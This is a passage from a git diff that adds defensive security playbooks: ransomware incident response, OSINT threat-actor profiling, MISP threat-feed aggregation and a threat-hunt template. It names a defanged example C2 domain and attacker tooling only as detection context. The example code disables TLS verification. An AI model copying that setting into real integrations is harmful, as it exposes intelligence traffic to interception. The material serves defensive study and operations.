**ID Ransomware**: Online service identifying ransomware variants from encrypted file samples and ransom notes +- **No More Ransom Project**: Europol-backed initiative providing free decryption tools for known ransomware families +- **Veeam / Rubrik**: Enterprise backup solutions with immutable backup support and instant recovery capabilities + +## Common Scenarios + +- **LockBit Attack**: Detected via SMB lateral movement and mass file encryption — isolate, scan for Cobalt Strike beacons +- **BlackCat/ALPHV**: Detected via ransomware note creation — check for data exfiltration via Rclone or Mega upload +- **Conti/Royal**: Detected via shadow copy deletion — check for prior BazarLoader/Emotet initial access +- **RansomHub**: Detected via anomalous process execution — investigate for compromised VPN or RDP credentials +- **Play Ransomware**: Detected via service account abuse — audit AD for newly created accounts and group membership changes + +## Output Format + +``` +RANSOMWARE PLAYBOOK EXECUTION — IR-2024-0500 +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +Phase 1 - Detection: + Alert: Mass file encryption detected on FILESERVER-03 + Variant: LockBit 3.0 (confirmed via ID Ransomware) + MTTD: 12 minutes from first encryption to SOC alert + +Phase 2 - Containment: + [DONE] FILESERVER-03 isolated via CrowdStrike at 14:35 UTC + [DONE] SMB blocked enterprise-wide via firewall emergency rule + [DONE] Compromised service account disabled in AD + MTTC: 23 minutes + +Phase 3 - Eradication: + [DONE] 3 additional hosts with C2 beacon identified and isolated + [DONE] Cobalt Strike C2 domain (c2[.]evil[.]com) sinkholed + [DONE] Enterprise-wide IOC scan completed — no additional infections + +Phase 4 - Recovery: + [DONE] FILESERVER-03 rebuilt from gold image + [DONE] Data restored from immutable Veeam backup (RPO: 4 hours) + [DONE] Systems monitored 72 hours — no reinfection + MTTR: 18 hours + +Total Affected: 1 server, 3 workstations +Data Loss: 4 hours of file modifications (backup RPO) +Exfiltration: No evidence of data exfiltration confirmed +``` diff --git a/skills/building-threat-actor-profile-from-osint/SKILL.md b/skills/building-threat-actor-profile-from-osint/SKILL.md new file mode 100644 index 00000000..d61fadbb --- /dev/null +++ b/skills/building-threat-actor-profile-from-osint/SKILL.md @@ -0,0 +1,354 @@ +--- +name: building-threat-actor-profile-from-osint +description: Build comprehensive threat actor profiles using open-source intelligence (OSINT) techniques to document adversary motivations, capabilities, infrastructure, and TTPs for proactive defense. +domain: cybersecurity +subdomain: threat-intelligence +tags: [osint, threat-actor, profiling, maltego, spiderfoot, attribution, threat-intelligence, reconnaissance] +version: "1.0" +author: mahipal +license: MIT +--- +# Building Threat Actor Profile from OSINT + +## Overview + +Threat actor profiling using OSINT systematically gathers and analyzes publicly available information to build comprehensive profiles of adversary groups. This skill covers collecting intelligence from public sources (security vendor reports, paste sites, dark web forums, social media, code repositories), correlating indicators across platforms, mapping adversary infrastructure using tools like Maltego and SpiderFoot, and producing structured threat actor dossiers that inform defensive strategies and attribution assessments. + +## Prerequisites + +- Python 3.9+ with `shodan`, `requests`, `beautifulsoup4`, `maltego-trx`, `stix2` libraries +- SpiderFoot (https://github.com/smicallef/spiderfoot) or SpiderFoot HX +- Maltego CE or Maltego XL for link analysis +- API keys: Shodan, VirusTotal, AlienVault OTX, PassiveTotal/RiskIQ +- MITRE ATT&CK knowledge for TTP mapping +- Understanding of STIX 2.1 Intrusion Set, Threat Actor, and Identity SDOs + +## Key Concepts + +### OSINT Sources for Threat Actor Profiling + +Primary intelligence sources include vendor threat reports (Mandiant, CrowdStrike, Recorded Future, Talos), government advisories (CISA, NSA, FBI joint advisories), academic research papers, malware repositories (VirusTotal, MalwareBazaar, Malpedia), paste sites (Pastebin, GitHub Gists), code repositories, social media accounts, dark web forums, and certificate transparency logs. + +### Structured Analytical Techniques + +Profiling uses the Diamond Model (adversary, infrastructure, capability, victim), Analysis of Competing Hypotheses (ACH) for attribution confidence, and MITRE ATT&CK mapping for TTP documentation. Link analysis tools like Maltego visualize relationships between indicators, infrastructure, and actors. + +### Profile Components + +A complete threat actor profile includes: aliases and naming conventions across vendors, suspected origin and sponsorship, motivation (espionage, financial, hacktivism, disruption), targeted sectors and geographies, known campaigns and operations, TTPs mapped to ATT&CK, toolset and malware families, infrastructure patterns, and historical timeline. + +## Practical Steps + +### Step 1: Collect Intelligence from Multiple Sources + +```python +import requests +import json +from datetime import datetime + +class OSINTCollector: + def __init__(self, vt_key=None, otx_key=None, shodan_key=None): + self.vt_key = vt_key + self.otx_key = otx_key + self.shodan_key = shodan_key + self.collected_data = {"sources": [], "indicators": [], "reports": []} + + def search_alienvault_otx(self, actor_name): + """Search AlienVault OTX for threat actor pulses.""" + headers = {"X-OTX-API-KEY": self.otx_key} + url = f"https://otx.alienvault.com/api/v1/search/pulses?q={actor_name}&limit=20" + resp = requests.get(url, headers=headers) + if resp.status_code == 200: + data = resp.json() + pulses = data.get("results", []) + for pulse in pulses: + self.collected_data["reports"].append({ + "source": "AlienVault OTX", + "title": pulse.get("name", ""), + "created": pulse.get("created", ""), + "description": pulse.get("description", "")[:500], + "tags": pulse.get("tags", []), + "indicators_count": len(pulse.get("indicators", [])), + "pulse_id": pulse.get("id", ""), + }) + for ioc in pulse.get("indicators", []): + self.collected_data["indicators"].append({ + "type": ioc.get("type", ""), + "value": ioc.get("indicator", ""), + "source": "OTX", + "pulse": pulse.get("name", ""), + }) + print(f"[+] OTX: Found {len(pulses)} pulses for '{actor_name}'") + return self.collected_data + + def search_virustotal_collections(self, actor_name): + """Search VirusTotal for threat actor collections.""" + headers = {"x-apikey": self.vt_key} + url = "https://www.virustotal.com/api/v3/intelligence/search" + params = {"query": f"tag:{actor_name.lower().replace(' ', '-')}"} + resp = requests.get(url, headers=headers, params=params) + if resp.status_code == 200: + results = resp.json().get("data", []) + print(f"[+] VT: Found {len(results)} samples tagged '{actor_name}'") + return results + return [] + + def query_shodan_infrastructure(self, indicators): + """Query Shodan for infrastructure details on IPs.""" + results = [] + for ip in indicators: + url = f"https://api.shodan.io/shodan/host/{ip}?key={self.shodan_key}" + resp = requests.get(url) + if resp.status_code == 200: + data = resp.json() + results.append({ + "ip": ip, + "org": data.get("org", ""), + "asn": data.get("asn", ""), + "country": data.get("country_code", ""), + "ports": data.get("ports", []), + "hostnames": data.get("hostnames", []), + "os": data.get("os", ""), + "last_update": data.get("last_update", ""), + }) + print(f"[+] Shodan: Enriched {len(results)} IPs") + return results + +collector = OSINTCollector( + vt_key="YOUR_VT_KEY", + otx_key="YOUR_OTX_KEY", + shodan_key="YOUR_SHODAN_KEY", +) +data = collector.search_alienvault_otx("APT29") +``` + +### Step 2: Build Structured Threat Actor Profile + +```python +from stix2 import ThreatActor, IntrusionSet, Identity, Relationship, Bundle +from datetime import datetime + +# Create STIX 2.1 Threat Actor profile +identity = Identity( + name="Cybersecurity Analyst", + identity_class="individual", +) + +threat_actor = ThreatActor( + name="APT29", + description="APT29 (also known as Cozy Bear, Midnight Blizzard, NOBELIUM, The Dukes) " + "is a Russian state-sponsored threat group attributed to Russia's Foreign " + "Intelligence Service (SVR). Active since at least 2008, the group conducts " + "cyber espionage targeting government, diplomatic, think tank, healthcare, " + "and energy organizations primarily in NATO countries.", + aliases=["Cozy Bear", "Midnight Blizzard", "NOBELIUM", "The Dukes", + "Dark Halo", "UNC2452", "YTTRIUM", "Blue Kitsune", "Iron Ritual"], + roles=["agent"], + sophistication="strategic", + resource_level="government", + primary_motivation="organizational-gain", + secondary_motivations=["ideology"], + threat_actor_types=["nation-state"], + goals=["Intelligence collection on foreign governments", + "Long-term persistent access to high-value targets", + "Supply chain compromise for broad access"], + created_by_ref=identity.id, +) + +intrusion_set = IntrusionSet( + name="APT29", + description="Intrusion set tracked as APT29, attributed to Russian SVR.", + aliases=["Cozy Bear", "Midnight Blizzard"], + first_seen="2008-01-01T00:00:00Z", + goals=["espionage"], + resource_level="government", + primary_motivation="organizational-gain", +) + +relationship = Relationship( + relationship_type="attributed-to", + source_ref=intrusion_set.id, + target_ref=threat_actor.id, +) + +bundle = Bundle(objects=[identity, threat_actor, intrusion_set, relationship]) +with open("apt29_profile.json", "w") as f: + f.write(bundle.serialize(pretty=True)) +print("[+] STIX profile saved: apt29_profile.json") +``` + +### Step 3: Map TTPs to MITRE ATT&CK + +```python +from attackcti import attack_client + +lift = attack_client() +apt29_techs = lift.get_techniques_used_by_group("G0016") + +profile_ttps = { + "initial_access": [], + "execution": [], + "persistence": [], + "defense_evasion": [], + "credential_access": [], + "lateral_movement": [], + "collection": [], + "c2": [], + "exfiltration": [], +} + +tactic_mapping = { + "initial-access": "initial_access", + "execution": "execution", + "persistence": "persistence", + "defense-evasion": "defense_evasion", + "credential-access": "credential_access", + "lateral-movement": "lateral_movement", + "collection": "collection", + "command-and-control": "c2", + "exfiltration": "exfiltration", +} + +for tech in apt29_techs: + tech_id = "" + for ref in tech.get("external_references", []): + if ref.get("source_name") == "mitre-attack": + tech_id = ref.get("external_id", "") + break + for phase in tech.get("kill_chain_phases", []): + tactic = phase.get("phase_name", "") + key = tactic_mapping.get(tactic) + if key: + profile_ttps[key].append({ + "id": tech_id, + "name": tech.get("name", ""), + "description": tech.get("description", "")[:200], + }) + +print("=== APT29 TTP Profile ===") +for tactic, techs in profile_ttps.items(): + if techs: + print(f"\n{tactic.upper()} ({len(techs)} techniques):") + for t in techs[:5]: + print(f" {t['id']}: {t['name']}") +``` + +### Step 4: Correlate Infrastructure with SpiderFoot + +```python +import subprocess +import json + +def run_spiderfoot_scan(target, scan_name="actor_recon"): + """Run SpiderFoot scan against target domain or IP.""" + cmd = [ + "python3", "-m", "spiderfoot", "-s", target, + "-m", "sfp_dns,sfp_whois,sfp_shodan,sfp_virustotal,sfp_certspotter", + "-o", "json", "-q", + ] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) + if result.returncode == 0: + findings = json.loads(result.stdout) if result.stdout else [] + print(f"[+] SpiderFoot: {len(findings)} findings for {target}") + return findings + return [] + +def correlate_infrastructure(indicators): + """Find relationships between infrastructure indicators.""" + ip_to_domains = {} + domain_to_ips = {} + registrar_patterns = {} + + for indicator in indicators: + ioc_type = indicator.get("type", "") + value = indicator.get("value", "") + + if ioc_type == "IP_ADDRESS": + if value not in ip_to_domains: + ip_to_domains[value] = set() + elif ioc_type == "INTERNET_NAME": + if value not in domain_to_ips: + domain_to_ips[value] = set() + + # Identify shared hosting, registration patterns + shared_ips = {ip: domains for ip, domains in ip_to_domains.items() if len(domains) > 1} + print(f"[+] Shared infrastructure IPs: {len(shared_ips)}") + return {"shared_ips": shared_ips, "registrar_patterns": registrar_patterns} +``` + +### Step 5: Generate Threat Actor Dossier + +```python +def generate_dossier(actor_name, profile_data, ttp_data, infrastructure_data): + dossier = f"""# Threat Actor Dossier: {actor_name} +## Generated: {datetime.now().isoformat()} + +## Executive Summary +{profile_data.get('description', '')} + +## Attribution +- **Suspected Origin**: {profile_data.get('origin', 'Unknown')} +- **Sponsorship**: {profile_data.get('sponsorship', 'Unknown')} +- **Confidence Level**: {profile_data.get('confidence', 'Medium')} +- **First Observed**: {profile_data.get('first_seen', 'Unknown')} + +## Aliases +{', '.join(profile_data.get('aliases', []))} + +## Targeting +- **Sectors**: {', '.join(profile_data.get('sectors', []))} +- **Regions**: {', '.join(profile_data.get('regions', []))} +- **Motivation**: {profile_data.get('motivation', 'Unknown')} + +## TTP Summary (MITRE ATT&CK) +""" + for tactic, techs in ttp_data.items(): + if techs: + dossier += f"\n### {tactic.replace('_', ' ').title()}\n" + for t in techs: + dossier += f"- **{t['id']}**: {t['name']}\n" + + dossier += f""" +## Infrastructure Patterns +- Known C2 servers: {len(infrastructure_data.get('c2_servers', []))} +- Domain patterns: {', '.join(infrastructure_data.get('domain_patterns', []))} +- Hosting preferences: {', '.join(infrastructure_data.get('hosting', []))} + +## Recommendations +1. Monitor for known TTPs in EDR/SIEM +2. Block known infrastructure indicators +3. Hunt for behavioral patterns in network traffic +4. Implement detections for top technique gaps +""" + with open(f"{actor_name.lower().replace(' ', '_')}_dossier.md", "w") as f: + f.write(dossier) + print(f"[+] Dossier saved for {actor_name}") + +generate_dossier("APT29", { + "description": "Russian state-sponsored espionage group attributed to SVR", + "origin": "Russia", "sponsorship": "SVR (Foreign Intelligence Service)", + "confidence": "High", "first_seen": "2008", + "aliases": ["Cozy Bear", "Midnight Blizzard", "NOBELIUM", "The Dukes"], + "sectors": ["Government", "Diplomatic", "Think Tank", "Healthcare", "Energy"], + "regions": ["North America", "Europe", "NATO countries"], + "motivation": "Espionage", +}, profile_ttps, {"c2_servers": [], "domain_patterns": [], "hosting": []}) +``` + +## Validation Criteria + +- Intelligence collected from at least 3 OSINT sources +- STIX 2.1 Threat Actor and Intrusion Set objects created correctly +- TTPs mapped to ATT&CK with technique IDs and procedure examples +- Infrastructure indicators correlated across sources +- Dossier includes attribution assessment with confidence levels +- Profile is actionable for detection engineering and threat hunting + +## References + +- [Huntress: Threat Actor Profiling](https://www.huntress.com/cybersecurity-101/topic/threat-actor-profiling) +- [CrowdStrike: OSINT in Cybersecurity](https://www.crowdstrike.com/en-us/cybersecurity-101/threat-intelligence/open-source-intelligence-osint/) +- [SpiderFoot OSINT Tool](https://github.com/smicallef/spiderfoot) +- [MITRE ATT&CK Groups](https://attack.mitre.org/groups/) +- [ShadowDragon: OSINT Techniques](https://shadowdragon.io/blog/osint-techniques/) +- [ISACA: Building a Threat-Led Cybersecurity Program](https://www.isaca.org/resources/white-papers/2025/building-a-threat-led-cybersecurity-program) diff --git a/skills/building-threat-feed-aggregation-with-misp/SKILL.md b/skills/building-threat-feed-aggregation-with-misp/SKILL.md new file mode 100644 index 00000000..5b5a4205 --- /dev/null +++ b/skills/building-threat-feed-aggregation-with-misp/SKILL.md @@ -0,0 +1,317 @@ +--- +name: building-threat-feed-aggregation-with-misp +description: Deploy MISP (Malware Information Sharing Platform) to aggregate, correlate, and distribute threat intelligence feeds from multiple sources for centralized IOC management and automated SIEM integration. +domain: cybersecurity +subdomain: threat-intelligence +tags: [misp, threat-feed, aggregation, indicator, sharing, correlation, siem-integration, threat-intelligence] +version: "1.0" +author: mahipal +license: MIT +--- +# Building Threat Feed Aggregation with MISP + +## Overview + +MISP is the leading open-source threat intelligence platform for collecting, storing, distributing, and sharing cybersecurity indicators and threat intelligence. It aggregates feeds from OSINT sources, commercial providers, and sharing communities into a unified platform with automatic correlation, STIX/TAXII export, and direct integration with SIEMs and security tools. This skill covers deploying MISP via Docker, configuring feeds from sources like abuse.ch, AlienVault OTX, and CIRCL, setting up automated feed synchronization, and integrating with Splunk, Elasticsearch, and SOAR platforms. + +## Prerequisites + +- Docker and Docker Compose for deployment +- Python 3.9+ with `pymisp` library for API interaction +- Linux server with 8GB+ RAM for production deployment +- Understanding of IOC types and threat intelligence lifecycle +- Network access to external feed URLs + +## Key Concepts + +### MISP Architecture + +MISP stores threat intelligence as Events containing Attributes (IOCs) organized by type and category. Events can have Tags (MITRE ATT&CK, TLP marking, sector tags), Galaxies (threat actor profiles, malware families, attack patterns), and Objects (structured groupings of related attributes). Events are correlated automatically across the instance. + +### Feed Types + +MISP supports three feed formats: MISP format (native JSON events), CSV (comma-separated IOCs), and freetext (unstructured text with automatic IOC extraction). Feeds can be remote (fetched from URLs) or local (uploaded files). MISP ships with 80+ default OSINT feeds including abuse.ch URLhaus, Botvrij, CIRCL OSINT, and malware traffic analysis. + +### Sharing and Synchronization + +MISP instances can synchronize with other MISP instances via push/pull mechanisms. Sharing groups control distribution (organization only, this community, connected communities, all communities). The TAXII server module enables integration with STIX/TAXII consumers. + +## Practical Steps + +### Step 1: Deploy MISP with Docker + +```yaml +# docker-compose.yml for MISP deployment +version: '3.8' +services: + misp: + image: coolacid/misp-docker:core-latest + container_name: misp + restart: unless-stopped + ports: + - "443:443" + - "80:80" + environment: + - MYSQL_HOST=misp-db + - MYSQL_DATABASE=misp + - MYSQL_USER=misp + - MYSQL_PASSWORD=misp_db_password_change_me + - MISP_ADMIN_EMAIL=admin@organization.com + - MISP_ADMIN_PASSPHRASE=admin_password_change_me + - MISP_BASEURL=https://misp.organization.com + - POSTFIX_RELAY_HOST=smtp.organization.com + - TIMEZONE=UTC + volumes: + - misp-data:/var/www/MISP/app/files + - misp-config:/var/www/MISP/app/Config + depends_on: + - misp-db + - misp-redis + + misp-db: + image: mysql:8.0 + container_name: misp-db + restart: unless-stopped + environment: + - MYSQL_DATABASE=misp + - MYSQL_USER=misp + - MYSQL_PASSWORD=misp_db_password_change_me + - MYSQL_ROOT_PASSWORD=root_password_change_me + volumes: + - misp-db-data:/var/lib/mysql + + misp-redis: + image: redis:7 + container_name: misp-redis + restart: unless-stopped + +volumes: + misp-data: + misp-config: + misp-db-data: +``` + +### Step 2: Configure Feeds via PyMISP API + +```python +from pymisp import PyMISP, MISPFeed +import json + +class MISPFeedManager: + def __init__(self, misp_url, misp_key, verify_ssl=False): + self.misp = PyMISP(misp_url, misp_key, verify_ssl) + print(f"[+] Connected to MISP: {misp_url}") + + def list_feeds(self): + """List all configured feeds.""" + feeds = self.misp.feeds() + enabled = [f for f in feeds if f.get("Feed", {}).get("enabled")] + disabled = [f for f in feeds if not f.get("Feed", {}).get("enabled")] + print(f"[+] Feeds: {len(enabled)} enabled, {len(disabled)} disabled") + return feeds + + def enable_default_feeds(self): + """Enable recommended default OSINT feeds.""" + recommended_feeds = [ + "CIRCL OSINT Feed", + "Botvrij.eu - Indicators of Compromise", + "abuse.ch URLhaus Host file", + "abuse.ch Feodo Tracker", + "abuse.ch SSL Blacklist", + "malwaredomainlist", + "CyberCure - IP Feed", + ] + + feeds = self.misp.feeds() + enabled_count = 0 + for feed in feeds: + feed_data = feed.get("Feed", {}) + if feed_data.get("name") in recommended_feeds: + if not feed_data.get("enabled"): + self.misp.enable_feed(feed_data["id"]) + self.misp.enable_feed_cache(feed_data["id"]) + enabled_count += 1 + print(f" [+] Enabled: {feed_data['name']}") + + print(f"[+] Enabled {enabled_count} feeds") + + def add_custom_feed(self, name, url, provider, feed_format="csv", + input_source="network", enabled=True): + """Add a custom threat intelligence feed.""" + feed = MISPFeed() + feed.name = name + feed.provider = provider + feed.url = url + feed.source_format = feed_format + feed.input_source = input_source + feed.enabled = enabled + feed.caching_enabled = True + feed.publish = False + feed.distribution = "3" # All communities + + result = self.misp.add_feed(feed) + if "Feed" in result: + feed_id = result["Feed"]["id"] + print(f"[+] Added feed: {name} (ID: {feed_id})") + return feed_id + else: + print(f"[-] Error adding feed: {result}") + return None + + def fetch_all_feeds(self): + """Trigger fetch for all enabled feeds.""" + feeds = self.misp.feeds() + for feed in feeds: + feed_data = feed.get("Feed", {}) + if feed_data.get("enabled"): + self.misp.fetch_feed(feed_data["id"]) + print(f" [*] Fetching: {feed_data['name']}") + print("[+] Feed fetch triggered for all enabled feeds") + +manager = MISPFeedManager( + "https://misp.organization.com", + "YOUR_MISP_API_KEY", +) +manager.enable_default_feeds() +manager.add_custom_feed( + name="Abuse.ch MalwareBazaar Recent", + url="https://bazaar.abuse.ch/export/csv/recent/", + provider="abuse.ch", + feed_format="csv", +) +manager.fetch_all_feeds() +``` + +### Step 3: Search and Correlate Indicators + +```python +def search_indicators(misp, value=None, type_attribute=None, tags=None, last_days=30): + """Search MISP for indicators with correlation.""" + from datetime import datetime, timedelta + date_from = (datetime.now() - timedelta(days=last_days)).strftime("%Y-%m-%d") + + search_params = { + "date_from": date_from, + "published": True, + "enforceWarninglist": True, + } + if value: + search_params["value"] = value + if type_attribute: + search_params["type_attribute"] = type_attribute + if tags: + search_params["tags"] = tags + + results = misp.search("attributes", **search_params) + attributes = results.get("Attribute", []) + print(f"[+] Search returned {len(attributes)} attributes") + + # Group by event for context + events = {} + for attr in attributes: + event_id = attr.get("event_id", "") + if event_id not in events: + events[event_id] = {"attributes": [], "tags": set()} + events[event_id]["attributes"].append({ + "type": attr.get("type", ""), + "value": attr.get("value", ""), + "category": attr.get("category", ""), + "timestamp": attr.get("timestamp", ""), + }) + for tag in attr.get("Tag", []): + events[event_id]["tags"].add(tag.get("name", "")) + + return {"attributes": attributes, "events": events} + +# Search for specific IOC +misp = manager.misp +results = search_indicators(misp, value="203.0.113.1") +results_by_type = search_indicators(misp, type_attribute="ip-dst", last_days=7) +results_by_tag = search_indicators(misp, tags=["tlp:white", "type:OSINT"]) +``` + +### Step 4: Export to SIEM (Splunk / Elasticsearch) + +```python +import requests +from datetime import datetime, timedelta + +class MISPSIEMExporter: + def __init__(self, misp_client): + self.misp = misp_client + + def export_to_splunk(self, splunk_url, hec_token, days=7): + """Export recent MISP indicators to Splunk via HEC.""" + date_from = (datetime.now() - timedelta(days=days)).strftime("%Y-%m-%d") + results = self.misp.search("attributes", date_from=date_from, + published=True, enforceWarninglist=True) + attributes = results.get("Attribute", []) + + headers = {"Authorization": f"Splunk {hec_token}"} + exported = 0 + for attr in attributes: + event = { + "event": { + "ioc_type": attr.get("type", ""), + "ioc_value": attr.get("value", ""), + "category": attr.get("category", ""), + "event_id": attr.get("event_id", ""), + "timestamp": attr.get("timestamp", ""), + "tags": [t.get("name", "") for t in attr.get("Tag", [])], + }, + "sourcetype": "misp:attribute", + "source": "misp", + "index": "threat_intel", + } + resp = requests.post( + f"{splunk_url}/services/collector/event", + headers=headers, json=event, verify=False, + ) + if resp.status_code == 200: + exported += 1 + + print(f"[+] Exported {exported}/{len(attributes)} indicators to Splunk") + + def export_ioc_list(self, output_file, ioc_types=None, days=30): + """Export flat IOC list for firewall/proxy blocklists.""" + ioc_types = ioc_types or ["ip-dst", "domain", "hostname", "url"] + date_from = (datetime.now() - timedelta(days=days)).strftime("%Y-%m-%d") + + all_iocs = [] + for ioc_type in ioc_types: + results = self.misp.search( + "attributes", type_attribute=ioc_type, + date_from=date_from, published=True, + enforceWarninglist=True, + ) + for attr in results.get("Attribute", []): + all_iocs.append(attr.get("value", "")) + + unique_iocs = sorted(set(all_iocs)) + with open(output_file, "w") as f: + for ioc in unique_iocs: + f.write(f"{ioc}\n") + + print(f"[+] Exported {len(unique_iocs)} unique IOCs to {output_file}") + +exporter = MISPSIEMExporter(misp) +exporter.export_ioc_list("blocklist_ips.txt", ioc_types=["ip-dst"], days=7) +``` + +## Validation Criteria + +- MISP deployed and accessible via web interface and API +- Default OSINT feeds enabled and fetching data +- Custom feeds added and ingesting indicators +- Indicators searchable with correlation across events +- IOCs exported to SIEM (Splunk/Elasticsearch) successfully +- Blocklists generated for firewall/proxy integration + +## References + +- [MISP Project](https://www.misp-project.org/) +- [MISP GitHub Repository](https://github.com/MISP/MISP) +- [MISP Default Feeds](https://www.misp-project.org/feeds/) +- [PyMISP Documentation](https://pymisp.readthedocs.io/) +- [Kraven Security: MISP Using Feeds](https://kravensecurity.com/threat-intelligence-with-misp-part-4-using-feeds/) +- [Cosive: What is MISP](https://www.cosive.com/blog/what-is-misp-the-ultimate-introduction) diff --git a/skills/building-threat-hunt-hypothesis-framework/SKILL.md b/skills/building-threat-hunt-hypothesis-framework/SKILL.md new file mode 100644 index 00000000..a401306c --- /dev/null +++ b/skills/building-threat-hunt-hypothesis-framework/SKILL.md @@ -0,0 +1,79 @@ +--- +name: building-threat-hunt-hypothesis-framework +description: Build a systematic threat hunt hypothesis framework that transforms threat intelligence, attack patterns, and environmental data into testable hunting hypotheses. +domain: cybersecurity +subdomain: threat-hunting +tags: [threat-hunting, methodology, hypothesis, threat-intelligence, hunting-framework, proactive-detection] +version: "1.0" +author: mahipal +license: MIT +--- + +# Building Threat Hunt Hypothesis Framework + +## When to Use + +- When proactively hunting for indicators of building threat hunt hypothesis framework in the environment +- After threat intelligence indicates active campaigns using these techniques +- During incident response to scope compromise related to these techniques +- When EDR or SIEM alerts trigger on related indicators +- During periodic security assessments and purple team exercises + +## Prerequisites + +- EDR platform with process and network telemetry (CrowdStrike, MDE, SentinelOne) +- SIEM with relevant log data ingested (Splunk, Elastic, Sentinel) +- Sysmon deployed with comprehensive configuration +- Windows Security Event Log forwarding enabled +- Threat intelligence feeds for IOC correlation + +## Workflow + +1. **Formulate Hypothesis**: Define a testable hypothesis based on threat intelligence or ATT&CK gap analysis. +2. **Identify Data Sources**: Determine which logs and telemetry are needed to validate or refute the hypothesis. +3. **Execute Queries**: Run detection queries against SIEM and EDR platforms to collect relevant events. +4. **Analyze Results**: Examine query results for anomalies, correlating across multiple data sources. +5. **Validate Findings**: Distinguish true positives from false positives through contextual analysis. +6. **Correlate Activity**: Link findings to broader attack chains and threat actor TTPs. +7. **Document and Report**: Record findings, update detection rules, and recommend response actions. + +## Key Concepts + +| Concept | Description | +|---------|-------------| +| TA0001 | Initial Access | +| TA0003 | Persistence | +| TA0008 | Lateral Movement | +| TA0010 | Exfiltration | + +## Tools & Systems + +| Tool | Purpose | +|------|---------| +| CrowdStrike Falcon | EDR telemetry and threat detection | +| Microsoft Defender for Endpoint | Advanced hunting with KQL | +| Splunk Enterprise | SIEM log analysis with SPL queries | +| Elastic Security | Detection rules and investigation timeline | +| Sysmon | Detailed Windows event monitoring | +| Velociraptor | Endpoint artifact collection and hunting | +| Sigma Rules | Cross-platform detection rule format | + +## Common Scenarios + +1. **Scenario 1**: Intelligence-driven hunt based on APT campaign report +2. **Scenario 2**: ATT&CK coverage gap analysis driving hypothesis creation +3. **Scenario 3**: Anomaly-driven hypothesis from UEBA alert investigation +4. **Scenario 4**: Situational awareness hunt based on industry sector threats + +## Output Format + +``` +Hunt ID: TH-BUILDI-[DATE]-[SEQ] +Technique: TA0001 +Host: [Hostname] +User: [Account context] +Evidence: [Log entries, process trees, network data] +Risk Level: [Critical/High/Medium/Low] +Confidence: [High/Medium/Low] +Recommended Action: [Containment, investigation, monitoring] +``` diff --git a/skills/building-threat-hunt-hypothesis-framework/assets/template.md b/skills/building-threat-hunt-hypothesis-framework/assets/template.md new file mode 100644 index 00000000..fdaa8333 --- /dev/null +++ b/skills/building-threat-hunt-hypothesis-framework/assets/template.md @@ -0,0 +1,107 @@ +# Building Threat Hunt Hypothesis Framework - Hunt Template + +## Hunt Metadata + +| Field | Value | +|-------|-------| +| Hunt ID | TH-BUILDI-YYYY-MM-DD-NNN | +| Analyst | | +| Date Started | | +| Date Completed | | +| Status | [ ] In Progress / [ ] Complete | +| Priority | [ ] Critical / [ ] High / [ ] Medium / [ ] Low | + +## Hypothesis + +> **Statement**: [Formulate a clear, testable hypothesis] +> +> **Basis**: [ ] Threat Intel / [ ] ATT&CK Gap / [ ] Anomaly / [ ] Incident Follow-up + +## Target Techniques + +- [ ] TA0001 - Initial Access +- [ ] TA0003 - Persistence +- [ ] TA0008 - Lateral Movement +- [ ] TA0010 - Exfiltration + +## Data Sources + +- [ ] Sysmon Event Logs +- [ ] Windows Security Event Logs +- [ ] EDR Telemetry (Platform: _____________) +- [ ] SIEM (Platform: _____________) +- [ ] Network Logs (Proxy/Firewall/DNS) +- [ ] Cloud Audit Logs +- [ ] Email Gateway Logs +- [ ] Application Logs + +## Queries Executed + +### Query 1: [Description] +``` +[Query text] +``` +**Results**: [Count] events | **Execution Time**: [Duration] + +### Query 2: [Description] +``` +[Query text] +``` +**Results**: [Count] events | **Execution Time**: [Duration] + +## Findings + +| # | Timestamp | Host | User | Technique | Evidence Summary | Risk | Verdict | +|---|-----------|------|------|-----------|-----------------|------|---------| +| 1 | | | | | | | TP / FP / BTP | +| 2 | | | | | | | TP / FP / BTP | +| 3 | | | | | | | TP / FP / BTP | + +## IOCs Discovered + +### Network IOCs +| Type | Value | Context | Confidence | +|------|-------|---------|-----------| +| IP | | | | +| Domain | | | | +| URL | | | | + +### Host IOCs +| Type | Value | Context | Confidence | +|------|-------|---------|-----------| +| SHA256 | | | | +| Filename | | | | +| Registry Key | | | | +| Scheduled Task | | | | + +## Hunt Results Summary + +| Metric | Count | +|--------|-------| +| Total Events Analyzed | | +| Anomalies Identified | | +| True Positives | | +| False Positives | | +| Benign True Positives | | +| New IOCs Discovered | | +| Detection Rules Created | | +| Detection Rules Updated | | + +## Hypothesis Outcome + +- [ ] **Confirmed**: Evidence supports the hypothesis +- [ ] **Partially Confirmed**: Some evidence found, further investigation needed +- [ ] **Refuted**: No evidence found +- [ ] **Inconclusive**: Insufficient data + +## Recommendations + +1. **Immediate Actions**: [Containment, remediation steps] +2. **Detection Improvements**: [New rules, tuning recommendations] +3. **Visibility Gaps**: [Missing data sources, coverage needs] +4. **Security Hardening**: [Configuration changes, policy updates] +5. **Follow-up Hunts**: [Related hypotheses to investigate] + +## Analyst Notes + +[Free-form notes, observations, and lessons learned] diff --git a/skills/building-threat-hunt-hypothesis-framework/references/standards.md b/skills/building-threat-hunt-hypothesis-framework/references/standards.md new file mode 100644 index 00000000..20ebb020 --- /dev/null +++ b/skills/building-threat-hunt-hypothesis-framework/references/standards.md @@ -0,0 +1,41 @@ +# Standards and References - Building Threat Hunt Hypothesis Framework + +## MITRE ATT&CK Mappings + +| Technique | Name | Description | +|-----------|------|-------------| +| TA0001 | Initial Access | See attack.mitre.org/techniques/TA0001 | +| TA0003 | Persistence | See attack.mitre.org/techniques/TA0003 | +| TA0008 | Lateral Movement | See attack.mitre.org/techniques/TA0008 | +| TA0010 | Exfiltration | See attack.mitre.org/techniques/TA0010 | + +## Detection Data Sources + +| Source | Event ID | Purpose | +|--------|----------|---------| +| Sysmon | 1 | Process creation with command line | +| Sysmon | 3 | Network connection initiated | +| Sysmon | 7 | Image loaded (DLL) | +| Sysmon | 10 | Process access (LSASS) | +| Sysmon | 11 | File creation | +| Sysmon | 12/13 | Registry create/set | +| Sysmon | 22 | DNS query | +| Sysmon | 25 | Process tampering | +| Windows Security | 4624 | Successful logon | +| Windows Security | 4625 | Failed logon | +| Windows Security | 4648 | Explicit credential logon | +| Windows Security | 4672 | Special privileges assigned | +| Windows Security | 4688 | Process creation | +| Windows Security | 4697 | Service installed | +| Windows Security | 4698 | Scheduled task created | +| Windows Security | 4769 | Kerberos TGS requested | +| 